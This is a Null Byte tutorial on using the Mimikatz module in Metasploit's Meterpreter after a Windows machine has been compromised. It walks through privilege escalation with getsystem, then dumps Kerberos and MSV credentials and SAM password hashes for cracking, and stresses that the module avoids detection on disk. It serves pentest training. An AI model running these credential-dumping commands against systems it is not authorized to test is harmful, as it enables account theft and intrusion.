Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz) « Null Byte :: WonderHowTo

Welcome back, my neophyte hackers!Metasploitis such a powerful tool that I can only scratch the surface of its capabilities here. As it has developed over the years, it is now possible to use Metasploit for nearly everything from recon to post exploitation to covering your tracks. Given its versatility, every aspiring hacker should have at least a tentative grasp of Metasploit.Every so often, a post-exploitation module comes out that is so powerful that every Metasploit user should be aware of it and learn to use it.Mimikatzis one such modules. It was created byBenjamin Delpy, akagentilkiwi, who developed it to teach himself C and to explore Windows security. Basically, it is capable of extracting various sets of Windows credentials from memory.Mimikatz was originally developed as standalone module that we can upload to the target or run locally on the target, but recently, Rapid7 has ported it for Metasploit and made it available asMeterpreter script. The advantage of this is that it will run entirely in memory and will not leave a footprint on the hard drive that might be detected.In this tutorial, we will be using the Metasploit module which is a bit limited in its capabilities, but I promise to do a tutorial soon on the more powerful standalone tool.One other key point before we begin: there are both 32- and 64-bit versions of Mimikatz. Often, Mimikatz will load the 32-bit version if we have used a 32-bit process to compromise the system. If that happens, Mimikatz will be largely non-functional. To avoid this potential problem, use the "migrate" command to migrate the Meterpeter to a 64-bit process before loading Mimkatz. In that way, it will load the 64-bit version and you will enjoy all of its amazing capabilities.Step 1: Exploit the Target & Get a Meterpreter PayloadMimikatz is a post-exploitation module, meaning that it can only be used after the target has been exploited. As a result, I will begin this module assuming that you have successfully exploited the target and have the Meterpreter payload installed on the target system. In addition, you will need to have sysadmin privileges on the target for Mimikatz to work. If you exploited the target as a regular user, you can use thegetsystemcommand to escalate privileges.meterpreter > getsystemNow that we have "system" privileges, we need to load the Mimikatz module.meterpreter > load mimikatzNext, let's get a help screen.meterpreter > help mimikatzAs you can see, Mimikatz has a number of native commands and a specialmimikatz_commandto run custom commands.Before we advance, let's check the version of Mimikatz.meterpreter > mimikatz_command -f versionMetasploit has only ported version 1.0, although Mimikatz is in version 2.0 (watch for my coming tutorial using the standalone version 2.0 of Mimikatz).Step 2: Native CommandsLet's start by looking to see what we can do to the system with the native commands. If we want to retrieve the Kerberos credentials, we simply need to type:meterpreter > kerberosWe can retrieve Windows MSV credentials by simply typing:meterpreter > msvStep 3: Mimikatz__CommandMimikatz also enables us to create custom commands. The commands take the following syntax. Please note the double colon (::) between the command type and the command action.mimikatz_command -f <type of command>::<command action>If we want to retrieve password hashes from the SAM file, we can type:meterpreter > mimikatzcommand -f samdump::hashesOf course, with these hashes, we can then crack them with any of a number of password cracking tools such Cain and Abel, Hashcat, John the Ripper, and others.If we want to get a list of services running on the target system, we can use the command typeservicecombined with the command actionlist.meterpreter > mimikatz_command -f service::listStep 4: CryptoMimikatz has a special command type that addresses cryptography and, as a you might expect, it is calledcrypto. Using this custom command, we can get a list of cryptography providers on the target system.meterpreter > mimikatz_command -f crypto::listProvidersIf we want to know where the various cryptography stores are located, we can type:meterpreter > mimikatz_command -f crypto::listStoresMimikatz is just another powerful tool for the penetester/hacker. Before attempting to use Mimkatz, make certain that you are fairly proficient in the use of Metasploit by going through myMetasploit serieshere on Null Byte. Also, look for my coming tutorial on the standalone Mimikatz 2.0, so keep coming back, my neophyte hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)How To:The Essential Skills to Becoming a Master HackerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:The Hacker MethodologyHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Let Me Introduce Myself